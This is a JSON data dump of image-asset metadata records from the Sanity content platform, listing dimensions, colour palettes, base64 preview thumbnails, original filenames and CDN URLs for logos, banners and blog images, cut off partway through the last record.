{"_createdAt":"2023-04-06T12:39:08Z","_id":"image-4e2674bb7e3a0129e7efe8d79842e589bf3bda93-1999x1751-png","_rev":"H0YIPwq3XRvJR93LPdfzg1","_type":"sanity.imageAsset","_updatedAt":"2023-04-06T12:39:08Z","assetId":"4e2674bb7e3a0129e7efe8d79842e589bf3bda93","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.1416333523700744,"height":1751,"width":1999},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAASCAYAAABb0P4QAAAACXBIWXMAAAsTAAALEwEAmpwYAAABWklEQVQ4jaWUXU/CMBSG9///kYKJiR8gwegFemHUgA63wiZs7ek5g4TXdGNmLMBYuHjy7jTp09M2nZd+fiAYj6GUAhFBRMDMOe67LR7FEZZxjCRJYK09X8hs/wWlpFofY69QagNtBPvGvVNWPbRgdUzqHZ60xZyGDmWP0F2ONgap1ki36WrOBKv1Gtlq1U5oUo0oUAgn3wgnPtSXj2gawkS/kEQj0wSx1c7lgFC2wlmEePgC1elBdXuYXQ8Q3zwiuX2CvnsGjd7B0WL3KOSI0KoIejBCcnGP5WUPi+4DllcD6E4fptMHDV/Bs3jvBXm7wiJtqkHhHMYPoachln6AxA9gpwrZzxziujPU3KGUQiKQ1iBtYIj+YVtMrt88NwnZ2lxqDRXp6hIqsv6y5Kiwcp6nPD+uCTcOZs4pa+FtNsDVOSKbwx22+EFUayckBzPneS5O+OZg5jzP5Q+bCGyxk1rosQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#636263","foreground":"#fff","population":0.07,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ba1c45","foreground":"#fff","population":0.11,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ba1c45","foreground":"#fff","population":0.11,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c9acb4","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc6c9c","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6144e","foreground":"#fff","population":0.03,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"step6.png","path":"images/sczeoy4w/production/4e2674bb7e3a0129e7efe8d79842e589bf3bda93-1999x1751.png","sha1hash":"4e2674bb7e3a0129e7efe8d79842e589bf3bda93","size":133681,"uploadId":"v9CNEVqOBHC6SAt0smzHmI9DZIv4mH7w","url":"https://cdn.sanity.io/images/sczeoy4w/production/4e2674bb7e3a0129e7efe8d79842e589bf3bda93-1999x1751.png"} {"_createdAt":"2022-06-15T20:02:42Z","_id":"image-4e452301af90b3ff8aa5ac33e7240c9460164d63-1567x844-png","_rev":"ecafYeJdFUSoqAVEkXr5EK","_type":"sanity.imageAsset","_updatedAt":"2022-07-13T11:00:41Z","assetId":"4e452301af90b3ff8aa5ac33e7240c9460164d63","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MPR[_L|HxaB:;1X-%1OrWE#++vO?S#wbXA","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAACp0lEQVQokU2TW2yLYRyH367tqmtnWHYURDIxkl1MwkLIgkm4cLyaZJcmmDts+9rPptu3rdquh601O1EkTnHILtjcuCBxQSSIK+IOCeJ8mOr6f+TrNnHxXL7P+/vl976K/jVwqQFuHoLr++HMNugshhbLDAppVkirQjwW8Fj4cczGw4OFXNhXxYRWy5uelaQNN5ywoohVw8W9cOMAXGuEc7sgVAld5UjPEjBKEd2J6Fbw55L2O3ihlzDStI6m+q0caahjwrOKb+FiJOJE4V8Kw3VwfjckdyCjW5GB9cjABmSoFomvQrqLEcMBcRcf4oXcMWpI9BxF13W0A3sY11byJVZIOpGPwiiDeA0Mb5kWD21EBmvh9DqIrYDQQsRfAEEnf+JunvQu5mx3PefODHLlymXGRrt4Ht/Et74SUvG5KDqKIFIFibXIqbVIogZJrEailYhRQKbNxpTPTiacx/dYPnc7Koj6GhkZHmLs6nnuXg7xaKiBV7EqPsZKUHhyoS0fTsxHTHzzwDcPaXcz5bGTaslh0mtnMuTmXX8R40Y1kc7DJAej3Es28zSxncfhWp6FqnkdXoSiWTFLds0W9W/ZdLOFVIuVlG7jU7ebR4FlJDt30ndS4/aol9eDm/kZLOJrqJDP0RJ+9i1AmYdnn4gp+1+YMdEsSFsO79tc3NKqiGr1JAOHeTayh1+JJWT8DqZCTqb6XEjchcLrhPaC6dpmfVNsJp4VtyrwKL57HDzQKrjk3cz9wCY+DCznd2IBk0EXk0E3f8IuMpE8VFZmlGKOI3oeYqadqZ7FFGqKtG7jrVHGy+ByPvaWkwrPJRXJJxXII93tIGPkIh02FJodvHOm07Vap5PNJMwKzd9xPAfx2UgH3KSjBUjQiXTZkU470m5FvJbspbQq/gKRnjYMS4TiMAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5e4a38","foreground":"#fff","population":0.46,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#863404","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7404","foreground":"#fff","population":35.41,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c9b4aa","foreground":"#000","population":0.43,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7ce84","foreground":"#000","population":0.59,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c6c94","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7404","foreground":"#fff","population":35.41,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"4e452301af90b3ff8aa5ac33e7240c9460164d63-1567x844.png","path":"images/sczeoy4w/production/4e452301af90b3ff8aa5ac33e7240c9460164d63-1567x844.png","sha1hash":"4e452301af90b3ff8aa5ac33e7240c9460164d63","size":410969,"uploadId":"5OtBTWuP8seUgMroS2WPpEf81jL0LNzX","url":"https://cdn.sanity.io/images/sczeoy4w/production/4e452301af90b3ff8aa5ac33e7240c9460164d63-1567x844.png"} {"_createdAt":"2022-10-24T22:20:49Z","_id":"image-4e5d6d686db31e828bac08ccb02fc49aa00e17b8-1200x399-png","_rev":"4DA7uzMe7PWND6MELqX74h","_type":"sanity.imageAsset","_updatedAt":"2022-10-24T22:20:49Z","assetId":"4e5d6d686db31e828bac08ccb02fc49aa00e17b8","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DxFf8R|^,;SeE|n+n+jba|W.","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.007518796992481,"height":399,"width":1200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAAAsTAAALEwEAmpwYAAABnElEQVQokV2RwW5SYRCFfygVvGrRaMLCao1VjFg4H9ALxaYixRRbxFIujdWYxppqTY1lYdQaE1cu7WO46NL4Am58JaMu7piLLBoXJ5P5TnKSM+NsetdZdS1mlV7K/OCU+cFJ84Px35WuOyzfcdPKOyDSmKS4pOH+/2QkZ3NdZ7dantU6M1Zda4V+sBjO9i+a3x/zdD1ehiQwAUwCGSApKQGkIkmKfG/EY852zo5b/0bO7t7csfrS57B2/1NY6XXN72ealNOSCkAdaAENSQJKI1YHasDtEUs7202ftq3zD20je2gd/0fYaH63+fbBn+rq3Cp+tiBtAu+BPeA58AIYAB+BD8CrkfcIuOpskDpjLyc2bTvzxTay38J29as1Gwc/F5YWVoqz+YL0DNgHtoB1SU+BbUlRaBT0GHgAtIeB4Zt40l4nSrZ3omtPJpfDXqFj9yrLv1rzU81i6Vxh2JAqcE3SlKQrwGVJuciIQoBLwIV/lfeds3cuaW+dZ4PjiXA9dyzsz3gW5BOLZbm8FC+iOBCLjn7kuzFgyI/I/QUwv5cQk/K5SAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#653e2f","foreground":"#fff","population":0.18,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5b0c0b","foreground":"#fff","population":0.78,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f6384a","foreground":"#fff","population":1.97,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b47b69","foreground":"#fff","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6384a","foreground":"#fff","population":1.97,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac6070","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7600a","foreground":"#fff","population":0.69,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"aiven-logo_RGB.png","path":"images/sczeoy4w/production/4e5d6d686db31e828bac08ccb02fc49aa00e17b8-1200x399.png","sha1hash":"4e5d6d686db31e828bac08ccb02fc49aa00e17b8","size":30582,"uploadId":"vp00RLp20rL98wC2aAXu6gJ552wnhETw","url":"https://cdn.sanity.io/images/sczeoy4w/production/4e5d6d686db31e828bac08ccb02fc49aa00e17b8-1200x399.png"} {"_createdAt":"2023-04-03T13:42:09Z","_id":"image-4e92fbb696cbe9576fee49e5851e06f420d8f6ca-3133x1688-jpg","_rev":"Fl2c73WgS9jO0pBHiiXH8t","_type":"sanity.imageAsset","_updatedAt":"2023-04-03T13:42:09Z","assetId":"4e92fbb696cbe9576fee49e5851e06f420d8f6ca","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MnP{Bp}ms-JBr?t6ofS5sSS2=GJUODwdoL","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.856042654028436,"height":1688,"width":3133},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFQABAQAAAAAAAAAAAAAAAAAABgD/xAAiEAACAgICAAcAAAAAAAAAAAABAgADBREEMRMUIjJBUXH/xAAWAQEBAQAAAAAAAAAAAAAAAAAHAAT/xAAeEQACAgICAwAAAAAAAAAAAAABAgADBBEFIRITcf/aAAwDAQACEQMRAD8ASeZpFAApBcDsiBshnrkyZp8BwN+/XpjG3pfyHMhRXZyrVdAQxGx9w84pqzY3uXYAibkUWvWTS/iR39h/GX5F0vZlbRubWz8SjCvjU1qFStVHfUpus5OtmJVOpY+I61KGc71P/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#303f5a","foreground":"#fff","population":1.09,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9c4c0f","foreground":"#fff","population":0.49,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7404","foreground":"#fff","population":38.89,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dcb4d0","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fac77c","foreground":"#000","population":0.42,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5c78a2","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7404","foreground":"#fff","population":38.89,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"2403_LiftingEachOtherUp_BlogPost_2.jpg","path":"images/sczeoy4w/production/4e92fbb696cbe9576fee49e5851e06f420d8f6ca-3133x1688.jpg","sha1hash":"4e92fbb696cbe9576fee49e5851e06f420d8f6ca","size":1426606,"uploadId":"sWCht7i0b3QAHTmtLs9XWqr9nwpOe5Ie","url":"https://cdn.sanity.io/images/sczeoy4w/production/4e92fbb696cbe9576fee49e5851e06f420d8f6ca-3133x1688.jpg"} {"_createdAt":"2022-06-14T14:41:06Z","_id":"image-4e970e6dfb139f26eba76950d2c48fe07ae4769f-1001x1001-jpg","_rev":"oamrAPLmQLQjd9jh7Ypz2s","_type":"sanity.imageAsset","_updatedAt":"2022-06-14T14:41:06Z","assetId":"4e970e6dfb139f26eba76950d2c48fe07ae4769f","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"esPGW~?b_NMxni?HRjbbM{V@R*ofRPxubHx]RjnikCWVt8ayWAayWB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":1001,"width":1001},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAQADAQAAAAAAAAAAAAAAAAcDBAgG/8QAJxAAAQQCAQMCBwAAAAAAAAAAAQACAwQFERIGIUEiMQcjUVNhocH/xAAWAQEBAQAAAAAAAAAAAAAAAAADAAL/xAAZEQADAQEBAAAAAAAAAAAAAAAAAQIDESH/2gAMAwEAAhEDEQA/AOor0xgpzSj3Ywu/Shs/UuTxfUFC7FfsSRWbAZNDI70cSfAVj6mycWMxj5Jmc+foDfqSofYxsFm9Ws3AfkTCVjWnsO+9ItFTa4NlUKWqXp0Kx3NjXDyNotHGZOpcpRTQyt4EexOiPwiUE8v8UnFuOqgfd/imORcWwkg6OtoiyyMlKxKazCJHDY8HSIiiP//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#45342c","foreground":"#fff","population":3.39,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#352414","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#45342c","foreground":"#fff","population":3.39,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c49683","foreground":"#000","population":2.85,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4b49c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a17a66","foreground":"#fff","population":2.1,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9c5c44","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"undefined","path":"images/sczeoy4w/production/4e970e6dfb139f26eba76950d2c48fe07ae4769f-1001x1001.jpg","sha1hash":"4e970e6dfb139f26eba76950d2c48fe07ae4769f","size":166295,"uploadId":"KOtgcV36sLRswjfDXJWZ7OSlzS9CVoKw","url":"https://cdn.sanity.io/images/sczeoy4w/production/4e970e6dfb139f26eba76950d2c48fe07ae4769f-1001x1001.jpg"} {"_createdAt":"2023-11-01T00:34:23Z","_id":"image-4eaf9b84bb083d96ac77029e8258303d8aedfb6a-1200x450-png","_rev":"gpV4rQ1RP6Oi5x5QrJyzI3","_type":"sanity.imageAsset","_updatedAt":"2023-11-01T00:34:23Z","assetId":"4eaf9b84bb083d96ac77029e8258303d8aedfb6a","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D8TN$f*Pa]%Li0}?kWe.i{f$","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.6666666666666665,"height":450,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAB00lEQVQokU2S6y/VAQCGfyeqiRLHpY01ZcWssFwOx6VFqk0+kQ6TULlEaK02ZYSUyxF2OCxardXmr3yeRl/69Hx7t/d93oDOkHSnSCxFekLSG0hfIP2BDAQ6FMjzkAyHZCwk02dkNleWr8hKsaxek60K2Y3IXtSA7jMymCOjBTJySYazZThTxrJkIqyTYZkKy+tseROWmXz5VCybVZKok+0q2SyX7UpJ1BjQky7TZbJwR5ZaZL5eZm/JXJUsRnS5Tpaq5HONrDfI10bZa5NfXfInJj86ZLdeNsokXmJAb4a8q5aNTtnskniHrLTJcrOsterGPYm3yNZ92W2X/Yfys1uOBuSoX34/loM2iZfKYp4BsTSZLJW5JplvkPmozFXLh3KZq9DFalmulS8RWY3IRlSSd+WwXb63y+ED2W+W9euykGPAo1QZCMtoobwslIkCGc+X0YsydkEnsmTqeL88mSmUj8cibsp2rSSbZP+2JBtkq1xWrxrQlSJ95+VZjgznysgxM2XotAwGcmz5RUheZcj7y7JUIvFK2YnKtxY5aP3HZPSkdnBym9hZeZIuT9Nl8JwMpclg6n+Bp2Q8Td7mynyRrN2QRESSjZKolZ2IJKplpci/qvGj9ksRL9oAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#832b01","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":11.75,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#945804","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fbc478","foreground":"#000","population":1.13,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":11.75,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"ANZ GCP OpenSearch WBR Email banner.png","path":"images/sczeoy4w/production/4eaf9b84bb083d96ac77029e8258303d8aedfb6a-1200x450.png","sha1hash":"4eaf9b84bb083d96ac77029e8258303d8aedfb6a","size":153638,"uploadId":"hgqDXG1D2xO1Im947mV6D2gUAJEtXUMN","url":"https://cdn.sanity.io/images/sczeoy4w/production/4eaf9b84bb083d96ac77029e8258303d8aedfb6a-1200x450.png"} {"_createdAt":"2022-06-30T11:56:59Z","_id":"image-4edd6edf815f99c283067ddf1807842fef3d167d-1317x797-png","_rev":"cEPH2uRN58AU2lp9QO7eXZ","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:16:49Z","assetId":"4edd6edf815f99c283067ddf1807842fef3d167d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V14o1c-F_3%NVy-X%MxJn-bHaQxsV]jGs.?@rGo@V?R5","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6524466750313676,"height":797,"width":1317},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAABh0lEQVQokXWR647bIBCF/RBJsJkrGHzFWTvbbKNIzY9G6o++/wO1sKtU6bZHn5AYcYA5U12Tvyzd9evb/X6/3W7n89u6rtM0dZ/U9/1fleo0T6eU1pfjtm3zPIcQnHMiQs9iZlV1zvki57yqVtvx8rpepmmOMTJzXdf7f6mua1UJbRtCiDGGNghLNY3HeTzGGL33zGyM2e93n83GGCZ0Kj6jXoUQq7Zc9i4RabJqsI1tngBrESxhASwBoLWVCjvnYhERNU2DAIyYIWShvJYtITqG0UEnwAgEWI19GPo+pbQsSxejijDRh1mZPX/4S2x9S5dEp4GcUP72yzwuKa3rum3bklIIQbm4VL0vOH1PX7yMr/H8fd6+TWFumakK3sUQhmHouk5FEIAQVaR1rvUur2UsQqRBh+v88vPL8uMUti6biUjzI15K1IfDAZqmNEx/KA0To0b1U+uHlj0jQPWYPgDkkRwOaG0+DfDEo2IzCBasrQCAmRHRGLPb7YwxBCCPzP4DAfw2/wL8iFtbyOegoAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#684a3f","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#651e04","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#58a96f","foreground":"#fff","population":0.41,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8074c2","foreground":"#fff","population":0.23,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9788e4","foreground":"#000","population":0.04,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#58a96f","foreground":"#fff","population":0.41,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#953f0a","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"4edd6edf815f99c283067ddf1807842fef3d167d-1317x797.png","path":"images/sczeoy4w/production/4edd6edf815f99c283067ddf1807842fef3d167d-1317x797.png","sha1hash":"4edd6edf815f99c283067ddf1807842fef3d167d","size":35745,"uploadId":"fYGepUBmF6ni3R96RjjqgJDU6gwhSVXW","url":"https://cdn.sanity.io/images/sczeoy4w/production/4edd6edf815f99c283067ddf1807842fef3d167d-1317x797.png"} {"_createdAt":"2022-11-09T11:35:05Z","_id":"image-4ef28fee4418d2e67a8f1fbfcc8e7a9be681ef31-2020x1118-png","_rev":"AgVn9c2bYty4stE1QrvAhG","_type":"sanity.imageAsset","_updatedAt":"2022-11-09T11:36:30Z","assetId":"4ef28fee4418d2e67a8f1fbfcc8e7a9be681ef31","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M8Ss88-:%2IUM{~qWAIU%MM{xbs;WUxuRj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8067978533094813,"height":1118,"width":2020},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABYlAAAWJQFJUiTwAAABUklEQVQokX1TAW7DIAzM/9/ZtNKqJoQE22DITXaarqzTkE4OBs4XfAylFLTWsO97B8uJCGJcsSwRS4yIMYKYu/1t32EcxARmxrBtG3IWtKbY957YDqpWFFXoE7XWbk9tzcnmEBBCwGBVmRNUrXL5UHqq+Ct/EO7IppDI4YRECTkTVE1p/SD7j7D9Wh/sbhIlcCZIJhTNqLV00Ne3ohnageo4BJxjWOKCjTZIYUghJ34HZUISAklycAdC1tw1aQjL4gqLKWiKogVSfkA5Y6WEeQmYwowpTHg8Ybkk7I0xja9fNit48ryTdsAuXGvDRoSv+x3j9YpxHHEZR4+WS0S+90W4rivEbfPpxbOASMY0Tbjdbgfh5eLx8Xj4mjflJNySdTi7QiO12KE2t0VK5MY2r83z7NHOmkc7QmZxQoO9DJvzexQBGZj9JZx+O+dWzAhtGOE3m9dczIXFCHEAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444646","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5b5b28","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d5d3b4","foreground":"#000","population":0.19,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d5d3b4","foreground":"#000","population":0.19,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bccce4","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#838383","foreground":"#fff","population":0.18,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cccc8c","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"4ef28fee4418d2e67a8f1fbfcc8e7a9be681ef31-2020x1118.png","path":"images/sczeoy4w/production/4ef28fee4418d2e67a8f1fbfcc8e7a9be681ef31-2020x1118.png","sha1hash":"4ef28fee4418d2e67a8f1fbfcc8e7a9be681ef31","size":224428,"uploadId":"BmJCxa0saFuf41yXVOt6i7s5W7MhQd8A","url":"https://cdn.sanity.io/images/sczeoy4w/production/4ef28fee4418d2e67a8f1fbfcc8e7a9be681ef31-2020x1118.png"} {"_createdAt":"2023-10-19T13:02:48Z","_id":"image-4f089ddbcdfc599321db97f3ac65914fd1dc1f3f-1500x378-png","_rev":"kfl1F24L65Nzg04H5IJtRY","_type":"sanity.imageAsset","_updatedAt":"2023-10-19T13:02:48Z","assetId":"4f089ddbcdfc599321db97f3ac65914fd1dc1f3f","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D03u1u-Exc$-WTNXs=s=xIR$","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.9682539682539684,"height":378,"width":1500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAAB4TAAAeEwEvkU7qAAAA+0lEQVQYlS1Q3yuFQRRc90teSJwhnyjUmXTm5sclLnW5t8ijR+TKi+LFj5S8+OO1++3DbDOz55ydPYnQikN9txg7Ys8t5t2i51BDix6hmQy3aAg13V3MEloktExojhaJiOQWKR/nhC4dOiN0QOiI0Kmj+Jn3i28aEjohNHDE0KELQmNCh4RW3bRAaClPvnZo4ibRdExoStOPI/4IfTn0TuibUNa/7PQnoY/Kp7QYOTQidJUT7rNLI0K7hCaEngi9EvFARH7gmaY3Qi+E7ioeCd0TuqlJbzMSobZ80WKQ91l3s05oh4jWEWu1ZrvzCm8d2sh1bqWndYstQpv/mcs7o0rd5KMAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#241327","foreground":"#fff","population":9.82,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#24042c","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#241327","foreground":"#fff","population":9.82,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#720c8c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dd85f3","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#720c8c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bf15e9","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"revenir.ai logo.png","path":"images/sczeoy4w/production/4f089ddbcdfc599321db97f3ac65914fd1dc1f3f-1500x378.png","sha1hash":"4f089ddbcdfc599321db97f3ac65914fd1dc1f3f","size":30334,"uploadId":"vQBYTzqykSvXZ7MawfnOxPGT8iwD9P65","url":"https://cdn.sanity.io/images/sczeoy4w/production/4f089ddbcdfc599321db97f3ac65914fd1dc1f3f-1500x378.png"} {"_createdAt":"2022-11-17T13:39:04Z","_id":"image-4f1ae7364734614bba747ae65cf7ce349a441389-1999x1143-png","_rev":"YI3rks3mbRtnzMpdnM7IsM","_type":"sanity.imageAsset","_updatedAt":"2022-11-17T13:39:04Z","assetId":"4f1ae7364734614bba747ae65cf7ce349a441389","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7489063867016623,"height":1143,"width":1999},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB40lEQVQokY3R2WrbQBTGcb8/fYG+QC96VXqT3jVt6WIaEtlO4jWVo83RZq2jkWYk/YuUBBwoNAc+Bs7Aj3M4E5XniDxDygqtNbpt0bql6zr6vh8jZcPxmBOGKVGYjm8YJARBMr7P/SGTTmvaAdKaWkpEUY5RjToBa9IoInFMEvee2A8I/Qj/EBA8hERBTBweicOYCT1jdUrT+DHV1qIyXXRW0ncD2FFXkuKwR8zPEMZHMvOa6OAReB6h7ZDsLVLHJQkCJsMEQ/W1QpkecnpNbWxoo5R+XLujqQTCWtB8f4v6/Aax+MTR3hF5Nsl2Szm9pJzfkHnOCdh2dLmg9Y8j1skGxpU7lMiprDny8j3y9zuK5ReO1prY3ZNtVpQ/pwjDoHD3TEbsCT2t584wpRIZ1cMd4n5Gvp+TWktSZ03mbsisDdndkmK/oTyYJxM+HeA0z6AWKTK4Rxx2FN4dubNEWD+Q1jdKZ0Hmbim8